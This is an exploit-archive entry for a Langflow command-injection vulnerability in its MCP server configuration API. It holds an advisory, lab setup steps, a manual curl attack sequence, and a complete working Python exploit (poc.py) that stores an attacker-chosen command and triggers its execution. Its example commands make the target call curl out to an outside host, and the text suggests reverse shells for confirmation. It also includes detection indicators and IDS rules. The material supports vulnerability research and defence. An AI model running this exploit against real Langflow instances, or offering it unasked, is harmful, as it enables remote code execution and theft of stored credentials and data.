PoC Archive PoC Archive
CVE-2026-93674 category: web CVSS 9.8 (CRITICAL)
Patched

IBM Langflow OSS Authenticated OS Command Injection via MCP Server Configuration (CVE-2026-93674)

Published: 2026-11-25 • Researcher: Richard Howe (rmhowe425) — PoC; IBM PSIRT — advisory

Target software IBM Langflow OSS (Langflow AI application builder; MCP server management API)
Affected versions 1.0.0 through 1.12.2 (NVD CPE range >= 1.0.0, < 1.12.3; fixed in 1.12.3)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-93674
Category
web
Affected product
IBM Langflow OSS (Langflow AI application builder; MCP server management API)
Affected versions
1.0.0 through 1.12.2 (NVD CPE range >= 1.0.0, < 1.12.3; fixed in 1.12.3)
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-21
Author / ResearcherRichard Howe (rmhowe425) — PoC; IBM PSIRT — advisory
CVE / AdvisoryCVE-2026-93674
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagslangflow, RCE, OS-command-injection, authenticated, MCP, AI-platform, Python, CWE-94, post-auth, FastAPI
RelatedN/A

Affected Target

FieldValue
Software / SystemIBM Langflow OSS (Langflow AI application builder; MCP server management API)
Versions Affected1.0.0 through 1.12.2 (NVD CPE range >= 1.0.0, < 1.12.3; fixed in 1.12.3)
Language / PlatformPython (PoC); Langflow server is Python/FastAPI, typically deployed on Linux (pip or container)
Authentication RequiredYes — the archived PoC logs in at /api/v1/login; IBM/NVD still score it PR:N, see Notes
Network Access RequiredYes

Summary

IBM Langflow OSS 1.0.0 through 1.12.2 does not properly neutralize special elements used in an OS command when an external MCP server is configured, allowing a remote attacker to execute arbitrary code on the host. The archived PoC authenticates to a Langflow instance, stores an MCP stdio server whose command and args fields point at an arbitrary program, and then requests the server listing with action counting enabled, which makes Langflow launch the configured process while discovering the server’s tools. Because that endpoint returns only the discovered tool count, execution is blind and confirmation needs an out-of-band channel. Successful exploitation gives code execution as the Langflow service account, exposing stored credentials, databases and connected data sources.

Vulnerability Details

Root Cause

Langflow’s MCP server management API accepts a user-supplied command and argument list for stdio MCP servers and persists it as server configuration. When the platform enumerates the configured servers (GET /api/v2/mcp/servers with action_count enabled), it starts each stdio server through its MCP client in order to list the tools it exposes, so an attacker-controlled command string is passed to process execution without adequate neutralization. IBM classifies this as CWE-94, improper neutralization of special elements used in an OS command / code injection. The 1.12.3 fix is the vendor’s remediation; current upstream code additionally restricts local stdio MCP launch to administrators when custom code execution is restricted (see references).

Attack Vector

  1. Attacker authenticates to the Langflow API with valid credentials (POST /api/v1/login) and obtains a bearer token.
  2. Attacker sends POST /api/v2/mcp/servers/ with a JSON body such as {“command”: “”, “args”: [""]}, creating a new MCP stdio server entry (or overwriting an existing one).
  3. Attacker sends GET /api/v2/mcp/servers?action_count=true, which makes Langflow launch every configured stdio server to count its tools.
  4. The configured command runs on the server as the Langflow service account; the response exposes only the resulting tool count, so output must be retrieved out of band.

Impact

Remote code execution as the user running Langflow, commonly root in container deployments. An attacker can read application configuration and secrets, access the Langflow database and connected data sources, pivot into internal networks reachable from the Langflow host, or disrupt the platform. Because the channel is blind, an operator normally uses a reverse shell, an out-of-band callback, or a command that writes a file under the service account’s permissions.

Environment / Lab Setup

Output
OS:          Ubuntu 22.04 LTS (upstream PoC testing platform)
Target:      Langflow OSS 1.0.0 - 1.12.2 (e.g. installed with pip or the
             langflowai/langflow container) listening on TCP/7860
Attacker:    Python 3 with the requests library (pip install requests)
Tools:       Python 3, curl, an out-of-band listener (e.g. netcat) for
             blind confirmation

Setup Steps

Shell script
1
2
3
4
5
python3 -m venv lf-lab && . lf-lab/bin/activate
pip install "langflow==1.9.0"
langflow run --host 0.0.0.0 --port 7860

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:7860/

Proof of Concept

Step-by-Step Reproduction

  1. Start the target — deploy an affected Langflow release (for example 1.9.0) on an isolated host and confirm that TCP/7860 responds.
  2. Prepare credentials and a callback — create a Langflow account for the test and start a listener or a writable drop location that the target can reach, so the blind execution can be confirmed.
  3. Run the exploit — invoke the archived script with the target URL, credentials, command and arguments. The PoC sends the args value as a single list element, so prefer a binary that accepts one argument (curl, wget) rather than embedded shell syntax.
    Shell script
    1
    2
    3
    
    python3 poc.py -u http://127.0.0.1:7860 \
      -uname labuser -pword 'LabPassword123!' \
      -c curl -a "http://10.0.0.5:8000/cve-2026-93674"
  4. Trigger the launch — the script performs the login, the MCP server creation and the action-count request automatically; the final GET is what starts the configured process.
  5. Confirm out of band — check the listener or callback endpoint; the API response itself does not return command output.

Exploit Code

See poc.py in this folder; the upstream usage notes are in upstream-README.md.

The script performs three requests:

Python
1
2
3
4
post(f"{base_url}/api/v1/login", data={"username": username, "password": password})
post(f"{base_url}/api/v2/mcp/servers/{random_name}",
     headers=auth, json={"command": command, "args": [args]})
get(f"{base_url}/api/v2/mcp/servers?action_count=true", headers=auth)

The equivalent manual request sequence is:

Shell script
1
2
3
4
5
6
7
8
9
TOKEN=$(curl -s -X POST http://127.0.0.1:7860/api/v1/login \
  -d 'username=labuser&password=LabPassword123!' | jq -r .access_token)

curl -s -X POST "http://127.0.0.1:7860/api/v2/mcp/servers/labtest01" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"command":"curl","args":["http://10.0.0.5:8000/cve-2026-93674"]}'

curl -s "http://127.0.0.1:7860/api/v2/mcp/servers?action_count=true" \
  -H "Authorization: Bearer $TOKEN"

Expected Output

Output
1
2
3
4
[+] Authenticating as labuser
[+] Triggering the vulnerability.
RESULTS: HTTP Status Code: 200
Response Body: [ ... per-server status JSON: name, mode, toolsCount, error ... ]

The API only reports whether the stdio server could be contacted (mode, tool count, and an error string), and exact fields vary by release. Command output is not echoed back; the upstream README links execution and output screenshots from its own lab, but those images are not archived here. On a real test the operator confirms execution through the out-of-band callback chosen in step 2.

Detection & Indicators of Compromise

Output
POST /api/v1/login                         (token acquisition)
POST /api/v2/mcp/servers/<random-name>     (JSON body with "command" and "args")
GET  /api/v2/mcp/servers?action_count=true (triggers process launch)

- Unexpected child processes of the Langflow service (bash, sh, curl, wget,
  netcat, python -c) with arguments matching recently created MCP configs
- New MCP server entries with absolute paths or shell interpreters as command
- Outbound connections from the Langflow host to unfamiliar hosts
- Files written under /tmp or the service account's home by the service user

SIEM / IDS rules (example):

Output
1
2
3
4
5
6
7
alert http any any -> any any (msg:"Langflow MCP server command configuration"; \
  content:"/api/v2/mcp/servers/"; http_uri; content:"\"command\""; http_client_body; \
  sid:9002674;)

alert http any any -> any any (msg:"Langflow MCP action_count enumeration"; \
  content:"/api/v2/mcp/servers"; http_uri; content:"action_count=true"; http_uri; \
  sid:9002675;)

Remediation

ActionDetail
PatchUpgrade Langflow OSS to 1.12.3 or later; IBM’s bulletin lists 1.12.3 as the fix for 1.0.0 - 1.12.2.
WorkaroundIBM lists no workarounds. Until upgrading, remove the Langflow instance’s exposure to untrusted networks and restrict MCP server management to administrators where the deployed release supports it.
Config HardeningRun Langflow as a non-root, unprivileged user in a container, restrict egress traffic, disable or do not install unused MCP servers, audit accounts that can reach MCP endpoints, and monitor creation of MCP server entries with shell or absolute-path commands.

References

Notes

Auto-ingested from https://github.com/rmhowe425/POC-CVE-2026-93674 on 2026-11-25.

Review verdict: this is a real PoC, not a detector or scanner. The script authenticates, stores an MCP stdio server whose command and args are attacker-controlled, and triggers Langflow’s tool-discovery path, which launches the configured process. The chain is a functional end-to-end exploit; execution is blind because the API only returns mode and tool count, so command output must be collected out of band. The repository has no LICENSE file, so no license is granted; the code is archived with attribution for authorized research only. The upstream README’s two screenshots are hosted on GitHub user-attachments and were not copied.

Discrepancies and limitations: NVD and IBM score the issue PR:N, while the PoC requires valid credentials and only exercises the authenticated MCP configuration path; unauthenticated impact would depend on an instance that exposes the MCP API or allows default/auto login. The script header claims testing on 1.5.0 - 1.9.0, whereas NVD lists 1.0.0 - 1.12.2 as affected. The code calls sys.exit without importing sys, so the failed-login branch raises NameError instead of exiting cleanly; it does not delete the MCP server entry it creates, it passes the args value as a single list element, and it targets the v2 MCP API specifically. No exploit code was executed and no live target was touched while creating this entry. Use only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-93674 (see README for attribution/license)

# Exploit Title:  Langflow security bypass
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.5.0 - 1.9.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-93674

import secrets
import argparse
from requests import get, post

def execute_command(base_url: str, auth:dict):
    endpoint = '/api/v2/mcp/servers?action_count=true'

    try:
        resp = get(base_url + endpoint, headers=auth)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{e}")

    if resp.status_code != 200:
        raise RuntimeError(
            f"API returned with status code: {resp.status_code}"
        )

    return resp


def save_command(base_url: str, auth: dict, server_name: str, command: str, args: str):
    endpoint = f"/api/v2/mcp/servers/{server_name}"
    data = {"command": f"{command}", "args": [f"{args}"]}

    print("[+] Triggering the vulnerability.")

    try:
        resp = post(base_url + endpoint, headers=auth, json=data)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{e}")

    if resp.status_code != 200:
        raise RuntimeError(
            f"API returned with status code: {resp.status_code}"
        )

    return resp

def authenticate(base_url: str, username: str, password: str) -> dict:
    print(f"[+] Authenticating as {username}")

    try:
        r = post(f"{base_url}/api/v1/login",
                 data={"username": username, "password": password}
                 )
        r_json = r.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {str(e)}")

    if r.status_code != 200 or not r_json.get('access_token'):
        print(f"[!] Login failed: HTTP {r.status_code} - {r.text}")
        sys.exit(1)
    return {"Authorization": f"Bearer {r_json['access_token']}"}


def main():
    parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-93674")
    parser.add_argument("-u", "--url", required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-uname', '--username', required=True, help="Langflow username")
    parser.add_argument('-pword', '--password', required=True, help="Langflow password")
    parser.add_argument("-c", "--cmd", required=True, help="Shell command")
    parser.add_argument("-a", "--args", required=True, help="Shell command args")
    args = parser.parse_args()

    # Generate random server name
    hostname = ''.join(
    secrets.choice(
        "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    )
    for _ in range(8)
    )

    # Authenticate with Langflow instance.
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    if auth is None:
        print("[!] Could not authenticate with Langflow.")
        exit(1)

    # Save command
    cmd = save_command(base_url=args.url, auth=auth, server_name=hostname, command=args.cmd, args=args.args)

    if cmd.status_code != 200:
        print("[!] Error saving command")
        exit(1)

    # Execute command
    resp = execute_command(base_url=args.url, auth=auth)
    print(f"RESULTS: HTTP Status Code: {resp.status_code}\nResponse Body: {resp.json()}")
    

main()